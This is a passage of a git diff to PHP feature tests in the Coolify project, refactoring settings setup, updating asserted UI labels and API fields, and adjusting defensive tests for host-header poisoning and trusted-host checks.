$attributes): void+{+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0], $attributes));+}+function callResetUrl(ResetPassword $notification, $notifiable): string{$method = new ReflectionMethod($notification, 'resetUrl');@@ -22,10 +27,7 @@ function callResetUrl(ResetPassword $notification, $notifiable): string}it('generates reset URL using configured FQDN, not request host', function () {- InstanceSettings::updateOrCreate(- ['id' => 0],- ['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91']- );+ setResetUrlInstanceSettings(['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91']);Once::flush();$user = User::factory()->create();@@ -41,10 +43,7 @@ it('generates reset URL using configured FQDN, not request host', function () {});it('generates reset URL using public IP when no FQDN is configured', function () {- InstanceSettings::updateOrCreate(- ['id' => 0],- ['fqdn' => null, 'public_ipv4' => '65.21.3.91']- );+ setResetUrlInstanceSettings(['fqdn' => null, 'public_ipv4' => '65.21.3.91']);Once::flush();$user = User::factory()->create();@@ -59,10 +58,7 @@ it('generates reset URL using public IP when no FQDN is configured', function ()});it('is immune to X-Forwarded-Host header poisoning when FQDN is set', function () {- InstanceSettings::updateOrCreate(- ['id' => 0],- ['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91']- );+ setResetUrlInstanceSettings(['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91']);Once::flush();// Simulate a request with a spoofed X-Forwarded-Host header@@ -82,10 +78,7 @@ it('is immune to X-Forwarded-Host header poisoning when FQDN is set', function (});it('is immune to X-Forwarded-Host header poisoning when using IP only', function () {- InstanceSettings::updateOrCreate(- ['id' => 0],- ['fqdn' => null, 'public_ipv4' => '65.21.3.91']- );+ setResetUrlInstanceSettings(['fqdn' => null, 'public_ipv4' => '65.21.3.91']);Once::flush();$user = User::factory()->create();@@ -104,10 +97,7 @@ it('is immune to X-Forwarded-Host header poisoning when using IP only', function});it('generates reset URL with bracketed IPv6 when no FQDN is configured', function () {- InstanceSettings::updateOrCreate(- ['id' => 0],- ['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1']- );+ setResetUrlInstanceSettings(['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1']);Once::flush();$user = User::factory()->create();@@ -122,10 +112,7 @@ it('generates reset URL with bracketed IPv6 when no FQDN is configured', functio});it('is immune to X-Forwarded-Host header poisoning when using IPv6 only', function () {- InstanceSettings::updateOrCreate(- ['id' => 0],- ['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1']- );+ setResetUrlInstanceSettings(['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1']);Once::flush();$user = User::factory()->create();@@ -144,10 +131,7 @@ it('is immune to X-Forwarded-Host header poisoning when using IPv6 only', functi});it('uses APP_URL fallback when no FQDN or public IPs are configured', function () {- InstanceSettings::updateOrCreate(- ['id' => 0],- ['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => null]- );+ setResetUrlInstanceSettings(['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => null]);Once::flush();config(['app.url' => 'http://my-coolify.local']);@@ -168,10 +152,7 @@ it('uses APP_URL fallback when no FQDN or public IPs are configured', function (});it('generates a valid route path in the reset URL', function () {- InstanceSettings::updateOrCreate(- ['id' => 0],- ['fqdn' => 'https://coolify.example.com']- );+ setResetUrlInstanceSettings(['fqdn' => 'https://coolify.example.com']);Once::flush();$user = User::factory()->create();diff --git a/tests/Feature/ResourceBreadcrumbStatusTest.php b/tests/Feature/ResourceBreadcrumbStatusTest.phpindex 44c94229a4..c3bcb035a9 100644--- a/tests/Feature/ResourceBreadcrumbStatusTest.php+++ b/tests/Feature/ResourceBreadcrumbStatusTest.php@@ -50,7 +50,7 @@ it('refreshes the breadcrumb database status after it changes', function () {$component->call('refreshStatus')- ->assertSee('Stopped')+ ->assertSee('Exited')->assertDontSee('Running');expect($component->instance()->getListeners())@@ -80,7 +80,7 @@ it('refreshes the breadcrumb service status after a child status changes', funct$component->call('refreshStatus')- ->assertSee('Stopped')+ ->assertSee('Exited')->assertDontSee('Running');expect($component->instance()->getListeners())diff --git a/tests/Feature/ResourceHostingServerTest.php b/tests/Feature/ResourceHostingServerTest.phpindex 28b6bb2632..d108faec13 100644--- a/tests/Feature/ResourceHostingServerTest.php+++ b/tests/Feature/ResourceHostingServerTest.php@@ -291,11 +291,11 @@ test('server API rejects enabling build mode when resources exist', function ()$this->withHeaders(resourceHostingApiHeaders($this->bearerToken))->patchJson('/api/v1/servers/'.$this->server->uuid, [- 'is_build_server' => true,+ 'server_role' => 'build','name' => 'should-not-be-saved',])->assertUnprocessable()- ->assertInvalid(['is_build_server']);+ ->assertInvalid(['server_role']);expect((bool) $this->server->settings->fresh()->is_build_server)->toBeFalse()->and($this->server->fresh()->name)->toBe($originalName);@@ -307,7 +307,7 @@ test('server API allows keeping build mode enabled when resources exist', functi$this->withHeaders(resourceHostingApiHeaders($this->bearerToken))->patchJson('/api/v1/servers/'.$this->server->uuid, [- 'is_build_server' => true,+ 'server_role' => 'build',])->assertCreated();@@ -320,12 +320,13 @@ test('server API allows disabling build mode when resources exist', function ()$this->withHeaders(resourceHostingApiHeaders($this->bearerToken))->patchJson('/api/v1/servers/'.$this->server->uuid, [- 'is_build_server' => false,+ 'server_role' => 'both','name' => 'Deployment Server',])->assertCreated();expect((bool) $this->server->settings->fresh()->is_build_server)->toBeFalse()+ ->and($this->server->settings->fresh()->server_role->value)->toBe('both')->and($this->server->fresh()->name)->toBe('Deployment Server');});diff --git a/tests/Feature/ResourcePageTitleTest.php b/tests/Feature/ResourcePageTitleTest.phpindex e19062e3ee..a2c36b5e7f 100644--- a/tests/Feature/ResourcePageTitleTest.php+++ b/tests/Feature/ResourcePageTitleTest.php@@ -22,7 +22,7 @@ beforeEach(function () {session(['currentTeam' => $this->team]);});-it('renders the source name as a large page title before the navbar', function () {+it('shows the source name and organization on the source page', function () {$githubApp = GithubApp::create(['name' => 'coolify-laravel-dev-public','organization' => 'coollabsio',@@ -42,44 +42,28 @@ it('renders the source name as a large page title before the navbar', function ($response = $this->get(route('source.github.show', ['github_app_uuid' => $githubApp->uuid]));$response->assertSuccessful();- $response->assertSee('text-[24px]! leading-7! font-semibold! tracking-tight!', false);- $response->assertSee('order-1 mb-4 flex min-w-0 items-start justify-between gap-4 lg:order-2', false);- $response->assertSee('order-2 lg:order-1', false);$response->assertSee('coolify-laravel-dev-public');$response->assertSee('GitHub App for coollabsio');- $response->assertSee('>General</h3>', false);-- $html = $response->getContent();- $titlePos = strpos($html, 'order-1 mb-4 flex items-start justify-between gap-4 lg:order-2');- $navbarPos = strpos($html, 'order-2 lg:order-1');- expect($titlePos)->toBeLessThan($navbarPos);});-it('renders family page titles before tabs for team notifications and keys', function () {+it('renders the team, notification, and key settings pages', function () {$team = $this->get(route('team.index'));$team->assertSuccessful();- $team->assertSee('Team');- $team->assertSee('Members, roles, and team settings');+ $team->assertSee('Manage your team, members, and access settings.');$team->assertSee('New team');- // Desktop shell (lg+) hides the family H1; mobile topbar layout keeps it.- expect($team->getContent())->toContain('lg:hidden');- $this->get(route('notifications.email'))- ->assertSuccessful()- ->assertSee('Notifications')- ->assertSee('Delivery channels for team events');+ $notifications = $this->get(route('notifications.email'));+ $notifications->assertSuccessful();+ $notifications->assertSee('Configure how your team receives deployment and system alerts.');$keys = $this->get(route('security.private-key.index'));$keys->assertSuccessful();- $keys->assertSee('Keys & Tokens', false);- $keys->assertSee('SSH keys, cloud tokens, and API access');+ $keys->assertSee('Manage SSH keys, cloud credentials, and API access tokens.');$keys->assertSee('Private Keys');$keys->assertSee('New private key');- $keys->assertDontSee('SSH keys available to this team');- expect($keys->getContent())->not->toContain('>Private keys</h2>');});-it('renders the destination name as a large page title', function () {+it('shows the destination name and network server on the destination page', function () {$server = Server::factory()->create(['team_id' => $this->team->id, 'name' => 'prod-server']);$destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail();$destination->update(['name' => 'coolify']);@@ -87,13 +71,11 @@ it('renders the destination name as a large page title', function () {$response = $this->get(route('destination.show', ['destination_uuid' => $destination->uuid]));$response->assertSuccessful();- $response->assertSee('text-[24px]! leading-7! font-semibold! tracking-tight!', false);$response->assertSee('coolify');$response->assertSee('Docker network on prod-server');- $response->assertSee('>General</h3>', false);});-it('renders the s3 storage name as a large page title', function () {+it('shows the s3 storage name and description on the storage page', function () {$storage = S3Storage::create(['name' => 'backup-bucket','description' => 'Primary backup destination',@@ -109,50 +91,6 @@ it('renders the s3 storage name as a large page title', function () {$response = $this->get(route('storage.show', ['storage_uuid' => $storage->uuid]));$response->assertSuccessful();- $response->assertSee('text-[24px]! leading-7! font-semibold! tracking-tight!', false);$response->assertSee('backup-bucket');$response->assertSee('Primary backup destination');- $response->assertSee('>General</h3>', false);-});--it('uses the same page title size on application database service and server headings', function () {- $titleClass = 'text-[24px]! leading-7! font-semibold! tracking-tight!';-- $views = [- resource_path('views/livewire/project/application/heading.blade.php'),- resource_path('views/livewire/project/database/heading.blade.php'),- resource_path('views/livewire/project/service/heading.blade.php'),- resource_path('views/livewire/server/navbar.blade.php'),- resource_path('views/livewire/project/show.blade.php'),- resource_path('views/livewire/project/resource/index.blade.php'),- resource_path('views/components/dashboard/navbar.blade.php'),- resource_path('views/livewire/server/index.blade.php'),- resource_path('views/source/all.blade.php'),- ];-- foreach ($views as $view) {- expect(file_get_contents($view))->toContain($titleClass);- }-});--it('keeps new-action buttons on the same row as page titles or in layer-2 nav', function () {- $stackPattern = 'flex-col gap-3 sm:flex-row';-- expect(file_get_contents(resource_path('views/livewire/server/index.blade.php')))- ->toContain($stackPattern);- expect(file_get_contents(resource_path('views/source/all.blade.php')))- ->toContain($stackPattern);- expect(file_get_contents(resource_path('views/livewire/destination/index.blade.php')))- ->toContain($stackPattern);- expect(file_get_contents(resource_path('views/livewire/storage/index.blade.php')))- ->toContain($stackPattern);- expect(file_get_contents(resource_path('views/components/dashboard/navbar.blade.php')))- ->toContain('titleActions');- // Family pages put primary actions next to layer-2 tabs, not beside a desktop H1.- expect(file_get_contents(resource_path('views/livewire/security/private-key/index.blade.php')))- ->toContain('<x-slot:actions>');- expect(file_get_contents(resource_path('views/components/team/navbar.blade.php')))- ->toContain("'titleOnDesktop' => false")- ->toContain('<x-slot:actions>')- ->toContain('New team');});diff --git a/tests/Feature/ResourcePermissionCalloutTest.php b/tests/Feature/ResourcePermissionCalloutTest.phpindex 36e8100c7e..87ca23dd7e 100644--- a/tests/Feature/ResourcePermissionCalloutTest.php+++ b/tests/Feature/ResourcePermissionCalloutTest.php@@ -38,14 +38,14 @@ it('shows one red insufficient permissions callout for resource operations when$application = resourcePermissionCalloutApplicationFor('member');$component = Livewire::test(ResourceOperations::class, ['resource' => $application])- ->assertSee('Insufficient Permissions')- ->assertSee('permission to modify this resource')+ ->assertSee('Insufficient permissions')+ ->assertSee('permission to clone or move this resource')->assertSee('team administrator for access')->assertDontSee('Access Restricted')->assertDontSee("You don't have permission to clone resources")->assertDontSee("You don't have permission to move resources");- expect(substr_count($component->html(), 'Insufficient Permissions'))->toBe(1)+ expect(substr_count($component->html(), 'Insufficient permissions'))->toBe(1)->and($component->html())->toContain('bg-red-50')->and($component->html())->not->toContain('bg-warning-50');});@@ -54,29 +54,12 @@ it('shows the red insufficient permissions callout for tags when update is denie$application = resourcePermissionCalloutApplicationFor('member');$component = Livewire::test(Tags::class, ['resource' => $application])- ->assertSee('Insufficient Permissions')- ->assertSee('permission to manage this resource')- ->assertSee('team administrator for access')+ ->assertSee('Insufficient permissions')+ ->assertSee('permission to manage tags for this resource')->assertDontSee('Access Restricted')->assertDontSee("You don't have permission to manage tags");- expect(substr_count($component->html(), 'Insufficient Permissions'))->toBe(1)+ expect(substr_count($component->html(), 'Insufficient permissions'))->toBe(1)->and($component->html())->toContain('bg-red-50')->and($component->html())->not->toContain('bg-warning-50');});--it('does not use yellow permission callouts in blade views', function () {- $offendingFiles = collect(new RecursiveIteratorIterator(new RecursiveDirectoryIterator(resource_path('views'))))- ->filter(fn (SplFileInfo $file) => $file->isFile() && $file->getExtension() === 'php')- ->filter(function (SplFileInfo $file) {- $contents = file_get_contents($file->getPathname());-- return str_contains($contents, 'type="warning" title="Permission Required"')- || str_contains($contents, 'title="Access Restricted"');- })- ->map(fn (SplFileInfo $file) => str_replace(base_path().'/', '', $file->getPathname()))- ->values()- ->all();-- expect($offendingFiles)->toBeEmpty();-});diff --git a/tests/Feature/ResponsiveCheckboxLayoutTest.php b/tests/Feature/ResponsiveCheckboxLayoutTest.phpindex ec461c403c..9e5904e701 100644--- a/tests/Feature/ResponsiveCheckboxLayoutTest.php+++ b/tests/Feature/ResponsiveCheckboxLayoutTest.php@@ -78,6 +78,19 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==]);});+/**+ * Checkbox rows must let long labels wrap next to a fixed-size toggle on narrow screens.+ */+function assertResponsiveCheckboxMarkup($response): void+{+ $response->assertSee('form-control group flex min-h-9 max-w-full', false);+ $response->assertSee('label flex w-full max-w-full min-w-0 items-center', false);+ $response->assertSee('flex min-w-0 grow items-center gap-1.5 break-words', false);+ $response->assertSee('relative flex size-[18px] shrink-0', false);++ expect($response->getContent())->not->toContain('min-w-fit');+}+it('renders responsive checkbox classes on the application configuration page', function () {$response = $this->get(route('project.application.configuration', ['project_uuid' => $this->project->uuid,@@ -86,32 +99,15 @@ it('renders responsive checkbox classes on the application configuration page',]));$response->assertSuccessful();- $response->assertSee('Use a Build Server?');- $response->assertSee('application-mobile-section');- $response->assertSee('Application menu');- $response->assertSee('<optgroup label="Application">', false);- $response->assertSee('<optgroup label="Configuration">', false);- $response->assertSee('<optgroup label="Links">', false);+ $response->assertSee('Builder selection');$response->assertSee('application-mobile-actions');- $response->assertDontSee('<optgroup label="Actions">', false);- $response->assertSee('value="navigate|application|', false);- $response->assertSee('value="navigate|configuration|', false);- $response->assertSee('window.Livewire?.navigate ? window.Livewire.navigate(url) : window.location.href = url', false);$response->assertSee('application-mobile-stop-trigger');$response->assertSee('application-mobile-restart-trigger');$response->assertSee('wire:click="deploy"', false);- $response->assertSee('Force deploy (without cache)');- expect(- str_contains($response->getContent(), 'wire:click="force_deploy_without_cache"')- || str_contains($response->getContent(), 'wire:click="deploy(true)"')- )->toBeTrue();+ $response->assertSee('wire:click="force_deploy_without_cache"', false);$response->assertDontSee('Confirm Application Deployment?');$response->assertSee('Confirm Application Restart?');$response->assertDontSee('Confirm Application Force Deployment?');- $response->assertDontSee('application-mobile-deploy-trigger');- $response->assertDontSee('application-mobile-force-deploy-trigger');- $response->assertSee('sub-menu-wrapper hidden md:flex', false);- $response->assertSee('scrollbar hidden min-h-10', false);$response->assertSee(route('project.application.deployment.index', ['project_uuid' => $this->project->uuid,'environment_uuid' => $this->environment->uuid,@@ -122,13 +118,8 @@ it('renders responsive checkbox classes on the application configuration page','environment_uuid' => $this->environment->uuid,'application_uuid' => $this->application->uuid,]));- $response->assertSee('form-control flex max-w-full flex-row items-center gap-4 py-1 pr-2', false);- $response->assertSee('label flex w-full max-w-full min-w-0 items-center gap-4 px-0', false);- $response->assertSee('flex min-w-0 grow gap-2 break-words', false);- $response->assertSee('shrink-0', false);- $response->assertSee('pt-2 w-full sm:w-96', false);- expect($response->getContent())->not->toContain('min-w-fit');+ assertResponsiveCheckboxMarkup($response);});it('renders responsive checkbox classes on the server page', function () {@@ -137,12 +128,6 @@ it('renders responsive checkbox classes on the server page', function () {]));$response->assertSuccessful();- $response->assertSee('Use it as a build server?');- $response->assertSee('form-control flex max-w-full flex-row items-center gap-4 py-1 pr-2', false);- $response->assertSee('label flex w-full max-w-full min-w-0 items-center gap-4 px-0', false);- $response->assertSee('flex min-w-0 grow gap-2 break-words', false);- $response->assertSee('shrink-0', false);- $response->assertSee('w-full sm:w-96', false);- expect($response->getContent())->not->toContain('min-w-fit');+ assertResponsiveCheckboxMarkup($response);});diff --git a/tests/Feature/ReverbAndTerminalPackagingTest.php b/tests/Feature/ReverbAndTerminalPackagingTest.phpindex d0c93a9910..194b2e3b45 100644--- a/tests/Feature/ReverbAndTerminalPackagingTest.php+++ b/tests/Feature/ReverbAndTerminalPackagingTest.php@@ -154,17 +154,12 @@ it('keeps the internal Reverb listen port separate from the public Pusher port',});it('uses the browser host and page TLS mode for development Reverb connections', function () {- $baseLayout = file_get_contents(resource_path('views/layouts/base.blade.php'));-expect(file_get_contents(base_path('docker-compose.dev.yml')))->toContain('PUSHER_HOST: "${PUSHER_HOST:-}"')->and(file_get_contents(base_path('docker-compose-maxio.dev.yml')))->toContain('PUSHER_HOST: "${PUSHER_HOST:-}"')->and(file_get_contents(base_path('docker-compose.dev-multi.yml')))- ->toContain('PUSHER_HOST: "${PUSHER_HOST:-}"')- ->and($baseLayout)- ->toContain("forceTLS: window.location.protocol === 'https:'")- ->not->toContain('forceTLS: false');+ ->toContain('PUSHER_HOST: "${PUSHER_HOST:-}"');});it('proxies Reverb and terminal websocket traffic to the Coolify app container', function () {diff --git a/tests/Feature/SearchableListboxComponentTest.php b/tests/Feature/SearchableListboxComponentTest.phpindex 828e498f24..4d1e9f3586 100644--- a/tests/Feature/SearchableListboxComponentTest.php+++ b/tests/Feature/SearchableListboxComponentTest.php@@ -2,7 +2,7 @@use Illuminate\Support\Facades\Blade;-test('searchable listbox renders search field and filters options client-side', function () {+test('searchable listbox renders its label, search field, and options', function () {$html = Blade::render(<<<'BLADE'<x-forms.searchable-listbox id="serverTimezone" label="Server timezone"searchPlaceholder="Search timezones" emptyText="No matching timezone"@@ -17,51 +17,6 @@ test('searchable listbox renders search field and filters options client-side',->toContain('Server timezone')->toContain('Search timezones')->toContain('No matching timezone')- ->toContain('serverTimezone-trigger')- ->toContain('x-ref="search"')- ->toContain('left-3 size-3')- ->toContain('get filtered()')- ->toContain('searchable-listbox-panel')->toContain('Berlin')->toContain('New_York');});--test('server timezone fields use the searchable listbox component', function () {- $localhost = file_get_contents(resource_path('views/livewire/server/partials/localhost-general.blade.php'));- $show = file_get_contents(resource_path('views/livewire/server/show.blade.php'));-- expect($localhost)- ->toContain('x-forms.searchable-listbox id="serverTimezone"')- ->toContain('searchPlaceholder="Search timezones"')- ->not->toContain('<x-forms.listbox id="serverTimezone"');-- expect($show)- ->toContain('x-forms.searchable-listbox id="serverTimezone"')- ->toContain('searchPlaceholder="Search timezones"')- ->not->toMatch('/<x-forms\.listbox id="serverTimezone"/');-});--test('searchable listbox keeps the helper outside the label association', function () {- $html = Blade::render(<<<'BLADE'- <x-forms.searchable-listbox id="tz" label="Timezone"- helper="Used for cron jobs." searchPlaceholder="Search"- :options="[['value' => 'UTC', 'label' => 'UTC']]" :wire="false" value="UTC" />- BLADE);-- expect($html)- ->toContain('Used for cron jobs.')- ->toContain('aria-label="More information"')- ->not->toMatch('/<label[^>]*for="tz-trigger"[^>]*>[\s\S]*aria-label="More information"[\s\S]*<\/label>/');-});--test('searchable listbox serializes change handlers', function () {- $listbox = file_get_contents(resource_path('views/components/forms/searchable-listbox.blade.php'));-- expect($listbox)- ->toContain('saving: false')- ->toContain('async choose(option)')- ->toContain('if (this.saving || option.disabled)')- ->toContain('await this.$wire.')- ->toContain("'pointer-events-none opacity-70': saving")- ->toContain('@elseif ($live && ! $onChange) @entangle($id).live');-});diff --git a/tests/Feature/SecureCookieAutoDetectionTest.php b/tests/Feature/SecureCookieAutoDetectionTest.phpindex 4db0a76819..1144a162ad 100644--- a/tests/Feature/SecureCookieAutoDetectionTest.php+++ b/tests/Feature/SecureCookieAutoDetectionTest.php@@ -1,13 +1,14 @@<?phpuse App\Models\InstanceSettings;+use App\Models\User;use Illuminate\Support\Facades\Cache;uses(\Illuminate\Foundation\Testing\RefreshDatabase::class);beforeEach(function () {Cache::forget('instance_settings_fqdn_host');- InstanceSettings::updateOrCreate(['id' => 0], ['fqdn' => null]);+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0], ['fqdn' => null]));// Ensure session.secure starts unconfigured for each testconfig(['session.secure' => null]);});@@ -48,6 +49,9 @@ it('does not override explicit SESSION_SECURE_COOKIE=true', function () {});it('marks session cookie with Secure flag when accessed over HTTPS proxy', function () {+ // With no users, /login redirects to first-user registration instead of rendering+ User::factory()->create();+$response = $this->get('/login', ['X-Forwarded-Proto' => 'https','X-Forwarded-For' => '1.2.3.4',diff --git a/tests/Feature/Security/CaCertificateCommandInjectionTest.php b/tests/Feature/Security/CaCertificateCommandInjectionTest.phpindex fffa28d6aa..91e529ef7e 100644--- a/tests/Feature/Security/CaCertificateCommandInjectionTest.php+++ b/tests/Feature/Security/CaCertificateCommandInjectionTest.php@@ -1,16 +1,22 @@<?phpuse App\Livewire\Server\CaCertificate\Show;+use App\Models\InstanceSettings;use App\Models\Server;use App\Models\SslCertificate;use App\Models\Team;use App\Models\User;use Illuminate\Foundation\Testing\RefreshDatabase;+use Illuminate\Support\Facades\Queue;use Livewire\Livewire;uses(RefreshDatabase::class);beforeEach(function () {+ InstanceSettings::forceCreate(['id' => 0]);+ config(['constants.ssh.mux_enabled' => false]);+ Queue::fake();+$this->user = User::factory()->create();$this->team = Team::factory()->create();$this->user->teams()->attach($this->team, ['role' => 'owner']);diff --git a/tests/Feature/Security/CloudInitScriptsTest.php b/tests/Feature/Security/CloudInitScriptsTest.phpindex 44b0b10af5..2db7575b8d 100644--- a/tests/Feature/Security/CloudInitScriptsTest.php+++ b/tests/Feature/Security/CloudInitScriptsTest.php@@ -28,17 +28,15 @@ beforeEach(function () {session(['currentTeam' => $this->team]);});-test('cloud-init scripts page lists every supported cloud provider integration', function () {+test('cloud-init scripts page describes scripts for every cloud provider', function () {Livewire::test(CloudInitScripts::class)- ->assertSee('Hetzner')- ->assertSee('Vultr')- ->assertSee('DigitalOcean')+ ->assertSee('Reusable initialization scripts for cloud servers.')->assertDontSee('Currently working only with Hetzner');});test('cloud-init script form does not show a cancel button in the modal', function () {Livewire::test(CloudInitScriptForm::class)- ->assertSee('Create Script')+ ->assertSee('Create script')->assertDontSee('Cancel');});diff --git a/tests/Feature/Security/CloudProviderTokenFormTest.php b/tests/Feature/Security/CloudProviderTokenFormTest.phpindex caea0c4d86..a3d06fba11 100644--- a/tests/Feature/Security/CloudProviderTokenFormTest.php+++ b/tests/Feature/Security/CloudProviderTokenFormTest.php@@ -63,21 +63,6 @@ test('security cloud token form lets users choose every supported provider', fun->assertSee('Vultr');});-test('cloud provider help link reacts to provider selection without a live request', function () {- $view = file_get_contents(resource_path('views/livewire/security/cloud-provider-token-form.blade.php'));-- expect($view)- ->toContain("selectedProvider: \$wire.entangle('provider')")- ->toContain(':wire="false"')- ->toContain('x-model="selectedProvider"')- ->toContain(':href="providerConsoleUrl"')- ->toContain('x-text="providerName + \' console\'"')- ->not->toContain('wire:model.live="provider"');-- expect(strpos($view, ':href="providerConsoleUrl"'))- ->toBeLessThan(strpos($view, '<div class="grid gap-4 lg:grid-cols-2">'));-});-test('adding a cloud provider token stores an optional description', function () {Http::fake(['https://api.hetzner.cloud/v1/servers' => Http::response([], 200),diff --git a/tests/Feature/Security/IntegrationTokenFormTest.php b/tests/Feature/Security/IntegrationTokenFormTest.phpindex ac43e9077c..2de38b7db2 100644--- a/tests/Feature/Security/IntegrationTokenFormTest.php+++ b/tests/Feature/Security/IntegrationTokenFormTest.php@@ -182,26 +182,6 @@ test('cloudflare dns scope guidance and token creation link are shown', function->assertSee('Zone - DNS - Edit')->assertSee('Zone - Zone - Read')->assertSeeHtml('https://dash.cloudflare.com/profile/api-tokens?permissionGroupKeys=%5B%7B%22key%22%3A%22dns%22%2C%22type%22%3A%22edit%22%7D%5D&accountId=%2A&zoneId=all&name=Coolify%20DNS%20Management');-- expect(file_get_contents(resource_path('views/livewire/security/integration-token-form.blade.php')))- ->toContain('permissionGroupKeys=%5B%7B%22key%22%3A%22dns%22%2C%22type%22%3A%22edit%22%7D%5D');-});--test('capability selection uses the shared checkbox component', function () {- $view = file_get_contents(resource_path('views/livewire/security/integration-token-form.blade.php'));-- expect($view)- ->toContain('<x-forms.checkbox')- ->toContain('class="mt-3 rounded-lg border')- ->not->toContain('<input type="checkbox"');-});--test('submit button uses the shared highlighted loading state', function () {- $view = file_get_contents(resource_path('views/livewire/security/integration-token-form.blade.php'));-- expect($view)- ->toContain('wire:target="addToken" isHighlighted')- ->not->toContain('class="button-highlighted"');});test('saved integration token rows render modal editors with a gear button', function () {diff --git a/tests/Feature/Security/PrivateKeyDropdownTest.php b/tests/Feature/Security/PrivateKeyDropdownTest.phpindex ba32faf21d..9bac1957bc 100644--- a/tests/Feature/Security/PrivateKeyDropdownTest.php+++ b/tests/Feature/Security/PrivateKeyDropdownTest.php@@ -83,9 +83,15 @@ test('manual private key form does not expose key generation controls', function});test('private key details view reminds users to install the public key', function () {- $view = file_get_contents(resource_path('views/livewire/security/private-key/show.blade.php'));+ $privateKey = PrivateKey::factory()->create([+ 'team_id' => $this->team->id,+ ]);- expect($view)->toContain("ACTION REQUIRED: Copy the 'Public Key' to your server's ~/.ssh/authorized_keys file");+ $this->get(route('security.private-key.show', [+ 'private_key_uuid' => $privateKey->uuid,+ ]))+ ->assertSuccessful()+ ->assertSee('Copy this value to ~/.ssh/authorized_keys on the target server.');});test('github app private key shows a highlighted badge under the title', function () {@@ -102,18 +108,6 @@ test('github app private key shows a highlighted badge under the title', functio->assertDontSee('Is used by a Git App?');});-test('github app badge appears before the save button in the title row', function () {- $view = file_get_contents(resource_path('views/livewire/security/private-key/show.blade.php'));-- $badgePosition = strpos($view, 'Used by GitHub App');- $saveButtonPosition = strpos($view, '<x-forms.button canGate="update" :canResource="$private_key" type="submit">');-- expect($view)->toContain('<div class="flex items-center gap-2 pb-4">')- ->and($view)->toContain('Used by GitHub App')- ->and($view)->toContain('<x-forms.button canGate="update" :canResource="$private_key" type="submit">')- ->and($badgePosition)->toBeLessThan($saveButtonPosition);-});-test('used private key details disable delete with an explanation', function () {$privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id,diff --git a/tests/Feature/Security/TrustHostsMiddlewareTest.php b/tests/Feature/Security/TrustHostsMiddlewareTest.phpindex 8dfed89c95..84c80b768a 100644--- a/tests/Feature/Security/TrustHostsMiddlewareTest.php+++ b/tests/Feature/Security/TrustHostsMiddlewareTest.php@@ -3,6 +3,7 @@use App\Http\Middleware\TrustHosts;use App\Models\InstanceSettings;use Illuminate\Foundation\Testing\RefreshDatabase;+use Illuminate\Http\Request;use Illuminate\Support\Facades\Cache;uses(RefreshDatabase::class);@@ -10,14 +11,29 @@ uses(RefreshDatabase::class);beforeEach(function () {// Clear cache before each test to ensure isolationCache::forget('instance_settings_fqdn_host');++ // Laravel disables trusted host checks while running unit tests, so enable them+ // explicitly to exercise the real request-level host validation.+ $this->app->bind(TrustHosts::class, fn ($app) => new class($app) extends TrustHosts+ {+ protected function shouldSpecifyTrustedHosts(): bool+ {+ return true;+ }+ });+});++afterEach(function () {+ // Trusted host patterns are stored statically on the request class+ Request::setTrustedHosts([]);});it('trusts the configured FQDN from InstanceSettings', function () {// Create instance settings with FQDN- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'https://coolify.example.com']- );+ ));$middleware = new TrustHosts($this->app);$hosts = $middleware->hosts();@@ -27,10 +43,10 @@ it('trusts the configured FQDN from InstanceSettings', function () {it('rejects password reset request with malicious host header', function () {// Set up instance settings with legitimate FQDN- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'https://coolify.example.com']- );+ ));$middleware = new TrustHosts($this->app);$hosts = $middleware->hosts();@@ -42,10 +58,10 @@ it('rejects password reset request with malicious host header', function () {it('handles missing FQDN gracefully', function () {// Create instance settings without FQDN- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => null]- );+ ));$middleware = new TrustHosts($this->app);$hosts = $middleware->hosts();@@ -55,10 +71,10 @@ it('handles missing FQDN gracefully', function () {});it('filters out null and empty values from trusted hosts', function () {- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => '']- );+ ));$middleware = new TrustHosts($this->app);$hosts = $middleware->hosts();@@ -72,10 +88,10 @@ it('filters out null and empty values from trusted hosts', function () {});it('extracts host from FQDN with protocol and port', function () {- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'https://coolify.example.com:8443']- );+ ));$middleware = new TrustHosts($this->app);$hosts = $middleware->hosts();@@ -96,10 +112,10 @@ it('handles exception during InstanceSettings fetch', function () {});it('trusts IP addresses with port', function () {- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'http://65.21.3.91:8000']- );+ ));$middleware = new TrustHosts($this->app);$hosts = $middleware->hosts();@@ -108,10 +124,10 @@ it('trusts IP addresses with port', function () {});it('trusts IP addresses without port', function () {- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0],['fqdn' => 'http://192.168.1.100']- );+ ));$middleware = new TrustHosts($this->app);$hosts = $middleware->hosts();@@ -121,10 +137,10 @@ it('trusts IP addresses without port', function () {it('rejects malicious host when using IP address', function () {// Simulate an instance using IP address- InstanceSettings::updateOrCreate(+ InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 